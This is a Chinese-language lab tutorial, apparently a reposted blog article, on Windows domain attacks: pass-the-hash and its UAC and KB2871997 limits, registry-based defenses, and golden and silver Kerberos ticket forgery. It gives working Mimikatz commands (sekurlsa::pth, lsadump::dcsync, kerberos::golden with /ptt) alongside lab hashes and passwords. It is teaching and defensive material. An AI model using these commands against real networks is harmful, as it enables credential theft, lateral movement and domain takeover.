Q&A
Q1:pth在什么情況下能成功、哈希傳遞受到什么限制、什么情況下不能傳遞?
A1:①pth在獲取到目標機器中RID為500的內置管理員賬戶或在目標機器本地管理員組的域成員賬戶的hash值的情況下能成功;②哈希傳遞會受到目標系統上的UAC的限制,如果不是RID=500的內置賬戶則不會以完全管理員權限登錄系統;③若目標系統完全禁止了所有用戶的遠程登錄權限(包括RID為500的內置管理員),則無法進行傳遞,
Q2:安裝補丁KB2871997后影響
A2:見文章中KB2871997補丁 --> 補丁對PTH攻擊的影響
Q3:黃金白銀票據
A3:見文章中黃金白銀票據
Q4:黃金白銀票據區別
A4:見文章中黃金白銀票據 --> 黃金白銀票據的區別
Q5:一個有普通權限的webshell,在無法提權但有hash時如何進行權限提升和內網橫向滲透
A5:首先我們如果拿到了管理員hash,并且目標的445埠開放,那么我們可以使用msf的exploit/windows/smb/psexec進行pth遠程登錄,從而進行橫向移動,直到拿到域管理員權限為止,
PTH(Pass The Hash)攻擊
概述
由于在進行認證的時候,是通過用戶hash加密時間戳,即使在使用密碼進行登錄的情況下,也是先把密碼加密成hash,再進行認證,因此在只有用戶hash,沒有明文密碼的情況下也是可以進行認證的,
原理
由NTLM和Kerberos的認證程序可知,在認證程序中的第一步,都是使用用戶hash來加密一段值
由于Server 2012后的系統中都無法直接抓取明文密碼,又因為密碼安全意識的提升,在很多情況下會遇到拿到hash值卻無法破解的情況,
通過這個認證機制的邏輯漏洞,我們無需破解明文密碼也可以直接使用hash值進行認證

利用
利用條件:
1.被pth攻擊的計算機未打補丁(KB2871997)
2.拿到一臺域成員主機并且拿到管理員組的域用戶的NTML
3.對方主機存在相同賬號并且是管理員組成員
這里以域環境下使用Mimikatz工具對IPC連接驗證進行繞過
DC:
name:SERVER2016DC
ip:192.168.5.1
domain:Y5NEKOAD
user:Administrator
password:y5neko@dc123
假設我們已經拿到域內主機權限和hash值,并且密碼與DC相同的情況下,即:
NTLM Hash:85dafeeae5eacd3be1e561eea0a064ca

使用mimikatz工具的pth功能
privilege::debug #提升權限
token::elevate
sekurlsa::pth /user:Administrator /domain:Y5NEKOAD /ntlm:85dafeeae5eacd3be1e561eea0a064ca
成功傳遞后會彈出一個cmd視窗,我們可以使用這個hash值登錄域內的其他同等hash的賬戶

正常情況:

PTH攻擊:

限制
user account control(UAC) token filtering in the context of remote access(UAC 遠程限制)
UAC是window Vista的新安全組件,影響的版本有:Windows 7, Windows Server 2008, Windows Server 2008 R2, Windows Server 2012, Windows Server 2012 R2s及以上版本
“管理員”組的成員具有兩個令牌,一個具有標準用戶權限,另一個具有管理員權限,默認情況下,當管理員執行任務時,它是在標準的受限背景關系中完成的,另一方面,如果需要管理任務,那么Windows將顯示的這個此稱為UAC(用戶帳戶控制),
對PTH攻擊產生影響的功能有如下兩個:

UAC為了更好地保護屬于本地Administrators組成員的那些用戶,在網路上實施了UAC的限制,例如:
當作為目標遠程計算機上本地管理員組成員的用戶通過使用net use \\SERVERNAME\C$命令建立遠程管理連接時,他們將不會以完全管理員身份進行連接,用戶在遠程計算機上沒有潛在的提升權限,并且用戶無法執行管理任務,如果用戶要使用安全帳戶管理器(SAM)帳戶管理作業站,則用戶必須以互動方式登錄到要通過遠程協助或遠程桌面管理的計算機,

具有域用戶帳戶的用戶可以遠程登錄Windows Vista計算機,并且,域用戶是Administrators組的成員,在這種情況下,域用戶將在遠程計算機上使用完整的管理員訪問令牌運行,并且UAC無效,
總結兩個功能:在使用本地用戶進行遠程登錄時不會使用完全管理員權限(full administrator),但是在域用戶被加入到本地管理員組之后,域用戶可以使用完全管理員(full administrator)的Access Token運行,并且UAC不會生效,
這兩個特定的限制組合在一起,就形成了一種神奇的效果:
自window vista之后,無法使用RID非500的本地管理員用戶來進行Pass The Hash攻擊, 但是如果是域用戶且該域用戶屬于本地Administrators組的成員卻仍然可以進行pass the hash攻擊,由于一些巧合,很多人一度認為這個現象是受KB2871997補丁的影響,實際上是因為UAC功能,
防御
經過以上分析我們可以知道,pth攻擊成功可以通過RID為500的本地管理員賬戶、屬于本地Administrators組的域賬戶,因此到這里,防止Pass The Hash型別的橫向移動的方法也很明顯了:
- 限制RID為500的本地管理員賬戶遠程登錄
FilterAdministratorToken
FilterAdministratorToken(管理員批準模式)是UAC的注冊表中一個注冊表鍵值,默認情況下為Disable,
在UAC的控制策略中對于內置administrator帳戶和域賬戶運行程式時會直接賦予完全管理權限(fulladministrative privilege),這就是本地帳戶administrator和域帳戶成功,而RID非500的本地管理員帳戶失敗的原因,
在DC中查看本地安全策略中的“用戶帳戶控制:以管理員批準模式運行所有的管理員”確實是默認開啟的,

如果要限制Administrator的遠程登錄,我們把注冊表項FilterAdministratorToken的值設定為1就可以
注冊表路徑為:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System,它的默認值是0
- 如果為0,則內置管理員帳戶(RID 500)可以在沒有UAC的情況下執行管理任務,該密鑰不影響其他帳戶,
- 如果將其設定為1,則內置管理員帳戶(RID 500)也將受UAC的約束,除非LocalAccountTokenFilterPolicy將其設定為1,
我們把它改成1,修改之后Administrator的遠程連接也會被拒絕,

LocalAccountTokenFilterPolicy
剛剛也提到了一種特殊情況,就是在LocalAccountTokenFilterPolicy的值為1的時候,在默認情況下它的值是0
- 如果將其設定為“ 0”(默認值),則只有**內置管理員帳戶(RID 500)**能夠在沒有UAC的情況下執行管理任務,由于將啟用UAC,因此其他管理員帳戶(即由用戶創建然后添加為本地管理員的管理員帳戶)將無法執行遠程管理任務,因此它們只能使用其受限的訪問令牌
- 如果將其設定為1,則“管理員”組中的所有帳戶都可以執行內置或不內置的遠程管理任務
并且這條注冊表項的優先級在FilterAdministratorToken之上,用表格表示所有可能性如下:
| LocalAccountTokenFilterPolicy | FilterAdministratorToken | RID=500的內置管理員 | 其他管理員 |
|---|---|---|---|
| 0 | 0 | 能 | 不能 |
| 0 | 1 | 不能 | 不能 |
| 1 | 0 | 能 | 能 |
| 1 | 1 | 能 | 能 |
KB2871997補丁
該補丁主要包括以下幾個內容:
- 支持“Protected Users”組;
- Restricted Admin RDP模式的遠程桌面客戶端支持;
- 注銷后洗掉LSASS中的憑據;
- 添加兩個新的SID;
- LSASS中只允許wdigest存盤明文密碼,
支持“Protected Users”組
“Protected Users”組是Windows Server 2012 R2域中的安全組,“Protected Users”組的成員會被強制使用Kerberos身份驗證,并且對Kerberos強制執行AES加密,
![[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-VUhMIUVx-1631858573218)(image/t01ab0b01fc65fdd075.png)]](https://img.uj5u.com/2021/09/18/2656051811382316.png)
Restricted Admin RDP模式的遠程桌面客戶端支持
Restricted Admin RDP模式是為了避免將Client端的憑據暴露給遠程系統,這個功能只支持Windows server 2012和Windows8.1
注銷后洗掉LSASS中的憑據
在這個更新之前,只要用戶登錄系統,Windows就會在lsass中快取用戶的憑據,包括用戶的明文密碼、LM/NTLM HASH、Kerberos的TGT票據/Session Key,
添加兩個新的SID
-
本地帳戶,LOCAL_ACCOUNT(S-1-5-113),所有本地帳戶繼承自此SID;
-
本地帳戶和管理組成員,LOCAL_ACCOUNT_AND_MEMBER_OF_ADMINISTRATORS_GROUP(S-1-5-114),所有管理員組的本地用戶繼承此SID,
LSASS中洗掉了明文憑證
由于兼容性原因,默認情況下禁用,明文密碼存盤在記憶體(LSASS)中,主要支持WDigest身份驗證,
補丁對PTH攻擊的影響
通過打補丁前后的對比來了解影響:
DC本地管理員中有以下兩個賬戶:
- Administrator是RID為500的本地管理員賬號(密碼y5neko@dc123)
- pthtest是域賬戶(密碼y5neko@pthtest)
打補丁前:

使用RID為500的賬戶Administrator:

使用域賬戶pthtest:

打補丁后:

使用RID為500的賬戶Administrator:

使用域賬戶pthtest:

經過對比我們可以看到,打補丁前后pth攻擊的結果是沒有任何區別的,
通過結合之前KB2871997補丁的作用進行分析,我們可以得出結論:
KB2871997并沒有對pth攻擊起到實際的限制作用,只是起到了一定的緩和作用,
黃金白銀票據
首先貼一張Kerberos認證的流程圖

黃金票據
原理
黃金票據就是偽造krbtgt用戶的TGT票據,krbtgt用戶是域控中用來管理發放票據的用戶,擁有了該用戶的權限,就可以偽造系統中的任意用戶,
利用條件
- 拿到域控權限(雞肋,,,適合權限維持的時候使用)
- 拿到krbtgt用戶的hash值(AES或者NTLM,要看演算法要求)
- 拿到域名和域的SID值
- 偽造的用戶名
利用
首先獲取制作黃金票據需要的資訊
①獲取域名

②獲取域的SID
注意:域的SID是域用戶ID去掉最后一個編號,即:
S-1-5-21-1272869298-2579316034-2461789828

③獲取krbtgt的hash值(mimikatz)
lsadump::dcsync /domain:域名 /user:krbtgt /csv
即:
c6c752f26fddb1fa1e8826403fcf4eb2

④偽造用戶
首先net group "Domain Admins"查看域管賬戶

獲取到所有要用的資訊后開始制作黃金票據
①清除系統中所有快取的票據

②使用Mimikatz制作黃金票據并注入到記憶體中
kerberos::golden /admin:Administrator /domain:y5nekoad.com /sid:S-1-5-21-1272869298-2579316034-2461789828 /krbtgt:c6c752f26fddb1fa1e8826403fcf4eb2 /ptt #若需要aes則將krbtgt換成aes256

③制作成功,使用klist查看注入的票據

④我們還可以制作黃金票據并保存為golden_ticket.kirbi檔案
kerberos::golden /admin:Administrator /domain:y5nekoad.com /sid:S-1-5-21-1272869298-2579316034-2461789828 /krbtgt:c6c752f26fddb1fa1e8826403fcf4eb2 /ticket:golden_ticket.kirbi #若需要aes則將krbtgt換成aes256


現在就可以使用這張黃金票據在域內任意一臺機器上ptt訪問DC了,
白銀票據
原理
白銀票據是偽造ST,這樣的好處是門票不會經過KDC,從而更加隱蔽,偽造的門票是專門給部分服務用的(參考kerberos認證流程中ST的作用),如cifs(檔案共享服務),mssql,winrm(windows遠程管理),DNS等等,
白銀票據是出現在TGS_REQ & TGS_REP程序中的,在TGS_REP中,不管Client是否有權限訪問特殊服務,只要Client發送的TGT票據是正確的,那么就會回傳服務hash加密的tgs票據,如果我們有了服務hash,就可以簽發tgs票據,
利用條件
- 拿到目標機器的hash(和黃金票據不同,黃金票據需要拿到域控)
- 域名和域SID
- 目標服務器FQDN
- 可利用的服務
- 目標server賬號的NTML HASH
- 需要偽造的用戶名
能夠利用的服務:

利用
首先獲取制作白銀票據需要的資訊
①獲取域名
y5nekoad.com
②獲取域的SID
S-1-5-21-1272869298-2579316034-2461789828
③獲取目標機器的FQDN(完整域名)

這里以域控為例,就是hostname+域名:SERVER2016DC.y5nekoad.com
④獲取目標上可利用的kerberos服務
以CIFS(磁盤共享的服務)為例
⑤server賬號的hash(帶$符號的hash)
mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> hash.txt

這里以域控為例,即:c728c6df22610a74aff69f2604017936
⑥偽造用戶
這里以域控的賬戶為例SERVER2016DC$
獲取到所有要用的資訊后開始制作白銀票據
①清除系統中所有快取的票據

②使用Mimikatz制作白銀票據并注入到記憶體中
kerberos::golden /domain:y5neko.com /sid:S-1-5-21-1272869298-2579316034-2461789828 /target:SERVER2016DC.y5nekoad.com /service:cifs /rc4:c728c6df22610a74aff69f2604017936 /user:SERVER2016DC$ /ptt

③制作成功,使用klist查看注入的票據

現在我們可以使用這張白銀票據任意訪問目標服務了
黃金白銀票據的區別
主要有三個方面的區別
獲取的權限
- 黃金票據:通過偽造TGT票據,可以獲取任意Kerberos的訪問權限
- 白銀票據:通過偽造ST票據,只能訪問指定的服務,如CIFS等
認證流程
- 黃金票據:與KDC互動,不與AS互動
- 白銀票據:不與KDC互動,直接訪問Server服務
加密方式
- 黃金票據:通過 krbtgt 的 NTLM Hash 加密
- 白銀票據:通過服務賬號的 NTLM Hash 加密
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/300971.html
標籤:其他
上一篇:漏掃(漏洞掃描)工具Burpsuite或者Burp Suite的使用(附Burpsuite+1.7.26的安裝與安裝包下載)
下一篇:Linux 用戶和用戶組管理
